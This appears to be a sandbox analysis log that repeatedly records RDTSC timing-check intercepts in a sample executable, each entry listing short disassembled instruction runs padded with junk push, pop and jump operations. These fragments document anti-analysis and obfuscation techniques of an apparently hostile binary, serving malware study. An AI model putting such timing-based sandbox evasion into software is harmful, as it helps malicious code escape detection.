Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17AF2 second address: D17B28 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FF0BCB462B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jmp 00007FF0BCB462BCh 0x00000014 mov eax, dword ptr [eax] 0x00000016 jmp 00007FF0BCB462C0h 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 push edx 0x00000023 pop edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17D35 second address: D17D5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 popad 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007FF0BC8515E9h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17D5F second address: D17DC6 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FF0BCB462BCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b jl 00007FF0BCB462BCh 0x00000011 sub edi, dword ptr [ebp+122D2BF2h] 0x00000017 mov dx, bx 0x0000001a push 00000004h 0x0000001c push 00000000h 0x0000001e push edi 0x0000001f call 00007FF0BCB462B8h 0x00000024 pop edi 0x00000025 mov dword ptr [esp+04h], edi 0x00000029 add dword ptr [esp+04h], 00000015h 0x00000031 inc edi 0x00000032 push edi 0x00000033 ret 0x00000034 pop edi 0x00000035 ret 0x00000036 mov dword ptr [ebp+12471713h], ecx 0x0000003c nop 0x0000003d jmp 00007FF0BCB462C7h 0x00000042 push eax 0x00000043 push eax 0x00000044 push eax 0x00000045 push edx 0x00000046 jbe 00007FF0BCB462B6h 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17DC6 second address: D17DCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5082C second address: D5084C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BCB462BCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007FF0BCB462F5h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 jnc 00007FF0BCB462B6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D50B0C second address: D50B10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D50B10 second address: D50B21 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jnc 00007FF0BCB462B6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D50B21 second address: D50B38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push ebx 0x00000007 jnp 00007FF0BC8515D8h 0x0000000d push eax 0x0000000e push edx 0x0000000f jo 00007FF0BC8515D6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D50B38 second address: D50B3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D50DE7 second address: D50DED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D50DED second address: D50E0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF0BCB462C6h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D50E0E second address: D50E29 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BC8515E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D50E29 second address: D50E2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D55883 second address: D55889 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5A3B1 second address: D5A3BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jbe 00007FF0BCB462B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D60521 second address: D60525 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D60525 second address: D6053A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BCB462BDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6053A second address: D6053E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6080D second address: D60813 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D60A94 second address: D60A9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D60A9A second address: D60AB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF0BCB462C4h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6272F second address: D62737 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D654D9 second address: D654DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D654DD second address: D654E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D654E3 second address: D65504 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jno 00007FF0BCB462C5h 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6AA3F second address: D6AA45 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6AA45 second address: D6AA60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF0BCB462C5h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6AA60 second address: D6AA65 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6AA65 second address: D6AA74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6AA74 second address: D6AA88 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c ja 00007FF0BC8515D8h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6AA88 second address: D6AA94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jno 00007FF0BCB462B6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6AA94 second address: D6AA98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6AA98 second address: D6AAA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007FF0BCB462BCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6932F second address: D69335 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6976B second address: D6976F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6976F second address: D69773 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69773 second address: D69779 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69779 second address: D69794 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF0BC8515DFh 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6A783 second address: D6A7A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF0BCB462C9h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D71722 second address: D71726 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D71726 second address: D7172C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D70628 second address: D7062E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D708EB second address: D708F7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jp 00007FF0BCB462B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D70BDB second address: D70BE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D70E3F second address: D70E4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FF0BCB462B6h 0x0000000a pop edx 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D70E4F second address: D70E71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 ja 00007FF0BC8515D6h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FF0BC8515E3h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D70E71 second address: D70E75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D71153 second address: D71157 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D71157 second address: D7115B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7115B second address: D71175 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF0BC8515DCh 0x0000000b jo 00007FF0BC8515DEh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D71465 second address: D7146B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7146B second address: D7147B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a js 00007FF0BC8515D6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7147B second address: D7147F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7147F second address: D71492 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b jne 00007FF0BC8515DCh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7399A second address: D739B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF0BCB462C4h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D74FB5 second address: D74FB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D74FB9 second address: D74FBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D78B6B second address: D78B71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D78B71 second address: D78B77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D77D11 second address: D77D15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D77D15 second address: D77D32 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF0BCB462C7h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D77EA1 second address: D77EA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D77EA5 second address: D77EA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D77EA9 second address: D77EBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FF0BC8515DAh 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D782AE second address: D782C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007FF0BCB462C2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7844E second address: D78465 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 pushad 0x00000007 pushad 0x00000008 jmp 00007FF0BC8515DBh 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D78898 second address: D7889C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7889C second address: D788A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D86560 second address: D86566 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D84D76 second address: D84D7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D85023 second address: D85029 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D85029 second address: D85030 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D855A2 second address: D855BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FF0BCB462C3h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D855BD second address: D855DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BC8515E8h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D855DA second address: D855E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D863C1 second address: D863C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D863C5 second address: D863CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D863CE second address: D863E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF0BC8515E2h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D863E6 second address: D8640C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push ebx 0x00000007 jmp 00007FF0BCB462C7h 0x0000000c jg 00007FF0BCB462BCh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8DE71 second address: D8DE7B instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FF0BC8515D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8DE7B second address: D8DE97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF0BCB462C6h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9A674 second address: D9A67C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9A289 second address: D9A2A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 jmp 00007FF0BCB462C0h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9A2A2 second address: D9A2A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9C6D4 second address: D9C6EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FF0BCB462C3h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9C6EE second address: D9C6F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9C2BB second address: D9C2C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9C2C1 second address: D9C2C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9C426 second address: D9C43F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BCB462C0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9C43F second address: D9C44D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF0BC8515DAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9FFEA second address: DA0009 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BCB462BFh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FF0BCB462BCh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAED88 second address: DAEDAF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BC8515DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FF0BC8515E8h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAEDAF second address: DAEDC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF0BCB462C3h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAEDC8 second address: DAEDED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BC8515E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jbe 00007FF0BC8515D6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAEDED second address: DAEDF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAEDF1 second address: DAEDF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD8F5E second address: CD8F63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB55D1 second address: DB55D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB55D6 second address: DB5611 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BCB462C2h 0x00000007 jmp 00007FF0BCB462BFh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FF0BCB462C3h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB5756 second address: DB575A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB575A second address: DB5764 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF0BCB462B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB58B1 second address: DB58B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB58B7 second address: DB58BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB58BB second address: DB58BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB59F7 second address: DB59FD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
